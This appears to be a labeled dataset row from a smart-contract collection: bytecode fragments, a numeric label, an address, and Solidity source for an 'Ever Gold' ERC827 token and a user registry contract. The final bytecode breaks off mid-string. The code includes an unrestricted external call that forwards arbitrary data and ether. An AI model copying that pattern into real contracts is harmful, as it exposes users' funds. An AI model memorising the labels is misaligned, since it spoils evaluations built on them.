5b610787600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611511565b005b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561081f5780601f106107f45761010080835404028352916020019161081f565b820191906000526020600020905b81548152906001019060200180831161080257829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b60006109af600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a78600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b41600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114f5565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eb05780601f10610e8557610100808354040283529160200191610eb0565b820191906000526020600020905b815481529060010190602001808311610e9357829003601f168201915b505050505081565b6000828211151515610ec957600080fd5b818303905092915050565b6000610f1f600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fab600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114f5565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561106d57600080fd5b818381151561107857fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561125e578082015181840152602081019050611243565b50505050905090810190601f16801561128b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156112ac57600080fd5b6102c65a03f115156112bd57600080fd5b505050600190509392505050565b6000818302905060008314806112eb57508183828115156112e857fe5b04145b15156112f657600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137f57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561144b57600080fd5b6102c65a03f1151561145c57600080fd5b50505060405180519050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015151561150b57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561156c57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a7230582077f7a36322cbd83056a10be22f4d343fba0e17de896dbb4a0ff975ed124bbd800029 | [
2
] |
0xf35470b6182cbd9a0f0c01d8f491b18445707c7d | pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract AccessByGame is Pausable, Claimable {
mapping(address => bool) internal contractAccess;
modifier onlyAccessByGame {
require(!paused && (msg.sender == owner || contractAccess[msg.sender] == true));
_;
}
function grantAccess(address _address)
onlyOwner
public
{
contractAccess[_address] = true;
}
function revokeAccess(address _address)
onlyOwner
public
{
contractAccess[_address] = false;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title ERC827 interface, an extension of ERC20 token standard
*
* @dev Interface of a ERC827 token, following the ERC20 standard with extra
* @dev methods to transfer value and data and execute calls in transfers and
* @dev approvals.
*/
contract ERC827 is ERC20 {
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
payable
returns (bool);
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool);
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC827Caller {
function makeCall(address _target, bytes _data) external payable returns (bool) {
// solium-disable-next-line security/no-call-value
return _target.call.value(msg.value)(_data);
}
}
/**
* @title ERC827, an extension of ERC20 token standard
*
* @dev Implementation the ERC827, following the ERC20 standard with extra
* @dev methods to transfer value and data and execute calls in transfers and
* @dev approvals.
*
* @dev Uses OpenZeppelin StandardToken.
*/
contract ERC827Token is ERC827, StandardToken {
ERC827Caller internal caller_;
constructor() public {
caller_ = new ERC827Caller();
}
/**
* @dev Addition to ERC20 token methods. It allows to
* @dev approve the transfer of value and execute a call with the sent data.
*
* @dev Beware that changing an allowance with this method brings the risk that
* @dev someone may use both the old and the new allowance by unfortunate
* @dev transaction ordering. One possible solution to mitigate this race condition
* @dev is to first reduce the spender's allowance to 0 and set the desired value
* @dev afterwards:
* @dev https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* @param _spender The address that will spend the funds.
* @param _value The amount of tokens to be spent.
* @param _data ABI-encoded contract call to call `_to` address.
*
* @return true if the call function was executed successfully
*/
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.approve(_spender, _value);
// solium-disable-next-line security/no-call-value
require(caller_.makeCall.value(msg.value)(_spender, _data));
return true;
}
/**
* @dev Addition to ERC20 token methods. Transfer tokens to a specified
* @dev address and execute a call with the sent data on the same transaction
*
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
* @param _data ABI-encoded contract call to call `_to` address.
*
* @return true if the call function was executed successfully
*/
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool)
{
require(_to != address(this));
super.transfer(_to, _value);
// solium-disable-next-line security/no-call-value
require(caller_.makeCall.value(msg.value)(_to, _data));
return true;
}
/**
* @dev Addition to ERC20 token methods. Transfer tokens from one address to
* @dev another and make a contract call on the same transaction
*
* @param _from The address which you want to send tokens from
* @param _to The address which you want to transfer to
* @param _value The amout of tokens to be transferred
* @param _data ABI-encoded contract call to call `_to` address.
*
* @return true if the call function was executed successfully
*/
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public payable returns (bool)
{
require(_to != address(this));
super.transferFrom(_from, _to, _value);
// solium-disable-next-line security/no-call-value
require(caller_.makeCall.value(msg.value)(_to, _data));
return true;
}
/**
* @dev Addition to StandardToken methods. Increase the amount of tokens that
* @dev an owner allowed to a spender and execute a call with the sent data.
*
* @dev approve should be called when allowed[_spender] == 0. To increment
* @dev allowed value is better to use this function to avoid 2 calls (and wait until
* @dev the first transaction is mined)
* @dev From MonolithDAO Token.sol
*
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
* @param _data ABI-encoded contract call to call `_spender` address.
*/
function increaseApprovalAndCall(
address _spender,
uint _addedValue,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
// solium-disable-next-line security/no-call-value
require(caller_.makeCall.value(msg.value)(_spender, _data));
return true;
}
/**
* @dev Addition to StandardToken methods. Decrease the amount of tokens that
* @dev an owner allowed to a spender and execute a call with the sent data.
*
* @dev approve should be called when allowed[_spender] == 0. To decrement
* @dev allowed value is better to use this function to avoid 2 calls (and wait until
* @dev the first transaction is mined)
* @dev From MonolithDAO Token.sol
*
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
* @param _data ABI-encoded contract call to call `_spender` address.
*/
function decreaseApprovalAndCall(
address _spender,
uint _subtractedValue,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
// solium-disable-next-line security/no-call-value
require(caller_.makeCall.value(msg.value)(_spender, _data));
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract EverGold is ERC827Token, MintableToken, AccessByGame {
string public constant name = "Ever Gold";
string public constant symbol = "EG";
uint8 public constant decimals = 0;
function mint(
address _to,
uint256 _amount
)
onlyAccessByGame
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function transfer(address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
payable
whenNotPaused
returns (bool)
{
return super.approveAndCall(_spender, _value, _data);
}
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
payable
whenNotPaused
returns (bool)
{
return super.transferAndCall(_to, _value, _data);
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
payable
whenNotPaused
returns (bool)
{
return super.transferFromAndCall(_from, _to, _value, _data);
}
function increaseApprovalAndCall(
address _spender,
uint _addedValue,
bytes _data
)
public
payable
whenNotPaused
returns (bool)
{
return super.increaseApprovalAndCall(_spender, _addedValue, _data);
}
function decreaseApprovalAndCall(
address _spender,
uint _subtractedValue,
bytes _data
)
public
payable
whenNotPaused
returns (bool)
{
return super.decreaseApprovalAndCall(_spender, _subtractedValue, _data);
}
}
contract UserToken is AccessByGame {
struct User {
string name;
uint32 registeredDate;
}
string constant public DEFAULT_NAME = "NONAME";
User[] private users;
uint256 public userCount = 0;
mapping (address => uint256) private ownerToUser;
/// @dev Constructor
constructor()
public
{
mint(msg.sender, "OWNER");
}
function mint(address _beneficiary, string _name)
public
onlyAccessByGame
whenNotPaused()
returns (bool)
{
require(_beneficiary != address(0));
require(ownerToUser[_beneficiary] == 0);
User memory user = User({
name: _name,
registeredDate: uint32(now)
});
uint256 id = users.push(user) - 1;
ownerToUser[_beneficiary] = id;
userCount++;
return true;
}
function setName(string _name)
public
whenNotPaused()
returns (bool)
{
require(bytes(_name).length > 1);
require(ownerToUser[msg.sender] != 0);
uint256 userid = ownerToUser[msg.sender];
users[userid].name = _name;
return true;
}
function getUserid(address _owner)
external
view
onlyAccessByGame
returns(uint256 result)
{
if (ownerToUser[_owner] == 0) {
return 0;
}
return ownerToUser[_owner];
}
function getUserInfo()
public
view
returns (uint256, string, uint32)
{
uint256 userid = ownerToUser[msg.sender];
return getUserInfoById(userid);
}
function getUserInfoById(uint256 _userid)
public
view
returns (uint256, string, uint32)
{
User storage user = users[_userid];
return (_userid, user.name, user.registeredDate);
}
} | 0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806307973ccf146100f65780630ae5e7391461012157806331f01140146101645780633f4ba83a146102245780634e71e0c81461023b5780635ad82148146102525780635c975abb146102a95780635d8d1585146102d8578063715018a6146103825780638456cb591461039957806385e68531146103b05780638da5cb5b146103f357806398c696481461044a578063c47f0027146104da578063d0def5211461055b578063e30c3978146105fc578063f2fde38b14610653575b600080fd5b34801561010257600080fd5b5061010b610696565b6040518082815260200191505060405180910390f35b34801561012d57600080fd5b50610162600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061069c565b005b34801561017057600080fd5b5061018f60048036038101908080359060200190929190505050610752565b60405180848152602001806020018363ffffffff1663ffffffff168152602001828103825284818151815260200191508051906020019080838360005b838110156101e75780820151818401526020810190506101cc565b50505050905090810190601f1680156102145780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b34801561023057600080fd5b5061023961083c565b005b34801561024757600080fd5b506102506108fa565b005b34801561025e57600080fd5b50610293600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a99565b6040518082815260200191505060405180910390f35b3480156102b557600080fd5b506102be610c02565b604051808215151515815260200191505060405180910390f35b3480156102e457600080fd5b506102ed610c15565b60405180848152602001806020018363ffffffff1663ffffffff168152602001828103825284818151815260200191508051906020019080838360005b8381101561034557808201518184015260208101905061032a565b50505050905090810190601f1680156103725780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b34801561038e57600080fd5b50610397610c73565b005b3480156103a557600080fd5b506103ae610d75565b005b3480156103bc57600080fd5b506103f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e35565b005b3480156103ff57600080fd5b50610408610eeb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561045657600080fd5b5061045f610f10565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049f578082015181840152602081019050610484565b50505050905090810190601f1680156104cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104e657600080fd5b50610541600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610f49565b604051808215151515815260200191505060405180910390f35b34801561056757600080fd5b506105e2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611048565b604051808215151515815260200191505060405180910390f35b34801561060857600080fd5b506106116112c0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561065f57600080fd5b50610694600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e6565b005b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106f757600080fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000606060008060038581548110151561076857fe5b9060005260206000209060020201905084816000018260010160009054906101000a900463ffffffff16818054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108275780601f106107fc57610100808354040283529160200191610827565b820191906000526020600020905b81548152906001019060200180831161080a57829003601f168201915b50505050509150935093509350509193909250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089757600080fd5b600060149054906101000a900460ff1615156108b257600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561095657600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060149054906101000a900460ff16158015610b5e57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610b5d575060011515600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b5b1515610b6957600080fd5b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610bba5760009050610bfd565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b600060149054906101000a900460ff1681565b60006060600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610c6781610752565b93509350935050909192565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cce57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dd057600080fd5b600060149054906101000a900460ff16151515610dec57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e9057600080fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000809054906101000